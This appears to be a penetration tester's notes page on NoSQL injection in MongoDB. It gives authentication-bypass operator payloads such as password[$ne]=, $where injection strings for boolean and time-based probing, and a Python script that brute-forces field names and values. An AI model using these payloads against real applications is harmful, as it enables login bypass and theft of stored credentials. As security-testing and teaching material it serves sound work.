NoSQL Injection (NoSQLi)

nosql_injection

According to a company or an application needs, a NoSQL database may be used instead of the traditional SQL database. This is often the case when using GraphQL API Model.

While NoSQL database such as MongoDB are inherently more resilient to common attacks, they may still be exploited.

  • Test characters such as '"};\r\n$Foo&|
  • Test coercing variables into arrays

If one is successful for NoSQL, there you may have an injection.


NoSQL Parameter injection ✍️

nosql_injection nosqli_bypass_authentication nosql_injection_authentication

The MongoDB PHP code to list all users matching a username is:

$result = $db_accounts->find(['username' => $username, 'password' => $password]);

If the type of $password is not verified, then we can try to coerce it into an array. If the input format is not JSON, try HTTP parameter pollution.

// Bypass the password check
// Common parameter pollution in PHP: ...&password[$ne]=&
$result = $db_accounts->find([
    'username' => 'admin', 
    'password' => ['$ne' => '']
]);

We can use multiple operators such as:

  • ['$in' => ['a', 'b']]: keep values in array
  • ['$nin' => ['a', 'b']]: do not keep values in array
  • ['$regex' => 'adm']: keep values matching a regex (admin, etc.)
  • ['$where' => '...']: refer to NoSQLi Query Injection

Some systems such as MongoDB offer what we call a projection. It indirectly prevents us from accessing unselected parameters.

// ... But only returns the property 'username' 
$results = $db_accounts->find(..., ['projection' => ['username' => 1]]);

NoSQL Query injection πŸ“š

nosql_injection nosqli_detection nosqli_extract_data nosqli_extract_unknown_fields

NoSQL Query Injection occurs when the developer either passed the whole user input to the MongoDB function -or- the developer used user-input in the $where clause without any security mechanisms.

const user_input = {'username': 'admin'}
const results = await collection.find(user_input).toArray();
const user_input = 'admin'
const results = await collection.find({
    $where: `this.username == "${user_input}"`
}).toArray();
// It's not limited to JavaScript, but the syntax changes
$username = 'admin';
$results = $db_accounts->find([
    '$where' => "this['username'] == '$username'"
]);

When we control the whole first parameter, we can inject a $where:

const user_input = {'username': 'admin', '$where': '...'}

Inside the $where, we can write arbitrary code in the language of the backend that will be evaluated. If errors are shown, use exceptions:

{ ..., '$where': 'throw JSON.stringify(this)' }

Otherwise, we can use a Boolean-Based or Time-Based approach (if there are no changes in the response) to extract characters one by one.

// Test '1' and '0' and look for changes in the output
// (often, 1 == results, 0 == no results)
{ ..., '$where': '1' }
// JavaScript (tested, there is a 'sleep' function) 
{ ..., '$where': '1 ? sleep(5000) : 0' }

In JavaScript, these payloads may be handy:

  • this.username == undefined ? 0 : 1 (Test if an attribute exists)
  • Object.keys(this)[n] == undefined ? 0 : 1 (Test if there are n attributes. Note that each record can have a different number #NoSQL)
  • Object.keys(this)[0] == '_id' (Test if attribute 0 is _id)
  • Object.keys(this)[0].match(/^.{n}$/) (Test if the length of the name of the attribute at index 0 is n. For instance, _id's length is 3)
  • Object.keys(this)[0].match(/^_/) (Test if the first character of the name of the attribute at index 0 is _. For instance, for _id, it is True)
  • this.username == value, this.username.match(/^.{n}$/), and this.username.match(/^adm/) (Test a value, the length, and brute force)

Warning ⚠️: in some scenarios, a request returning one result is expected. In which case, some example here may not work "as if".

JavaScript $where Data Extraction In Python
import sys

def send_user_request(payload):
    # { $where: payload }
    return True
    
def nosql_brute_force_using_where(size_query, bruteforce_query):
    print("    Trying to use brute force (up to 100 chars)...")
    entity_length = 0
    for entity_length in range(1, 100):
        request_response = send_user_request(size_query.format(param_match="^.{" + str(entity_length) + "}$"))
        if request_response:
            print(f"    Payload length={entity_length}")
            break
    if entity_length == 0:
        print("Could not determine entity length, aborting...")
        sys.exit(1)

    param_name = ""
    param_value_range = (list("abcdefghijklmnopqrstuvwxyz") +
                         list("ABCDEFGHIJKLMNOPQRSTUVWXYZ") +
                         list("0123456789") + list(" !\"#$%&'()*+,-./:;<=>?@[]^_`{|}~"))
    param_value_range = param_value_range + [chr(i) for i in range(1, 255) if chr(i) not in param_value_range]
    for char_index in range(1, entity_length + 1):
        found = False
        for char_candidate in param_value_range:
            if char_candidate in ["*", ".", "?", "^", "$", "+"]:
                char_candidate = f"[{char_candidate}]"
            if char_candidate == "\\":
                continue
            request_response = send_user_request(bruteforce_query.format(param_match="^" + param_name +  char_candidate))
            if request_response:
                param_name += char_candidate
                found = True
                break

        if not found:
            print(f"Could not find the next character (last result: {param_name}).")
            sys.exit(2)

    return param_name

# Add them manually before restarting the script
known_columns = ['_id', 'username', 'password']
# Select column for which you want to extract the value
extract_columns = ['username']
# Payloads for introspection
test_payload = 'Object.keys(this)[{param_index}] != undefined'
match_payload = 'Object.keys(this)[{param_index}].match(/{{param_match}}/)'

param_index = 0
while True:
    check = send_user_request(test_payload.format(param_index=param_index))
    if not check:
        break
    print(f"[*] Found a new parameter at index {param_index}")

    param_name = None
    for known_column in known_columns:
        check = send_user_request(match_payload.format(param_index=param_index).format(param_match=known_column))
        if check:
            param_name = known_column
            break

    if not param_name:
        param_name = nosql_brute_force_using_where(
            match_payload.format(param_index=param_index),
            match_payload.format(param_index=param_index)
        )
        known_columns.append(param_name)

    print(f"[*] Found parameter name: {param_name}")

    if param_name in extract_columns:
        param_value = nosql_brute_force_using_where(
            f'this.{param_name}.match("{{param_match}}")',
            f'this.{param_name}.match("{{param_match}}")'
        )
        print(f"    Found parameter value= {param_value}")

    param_index += 1

πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

  • Test Null Byte (It's not working with recent versions)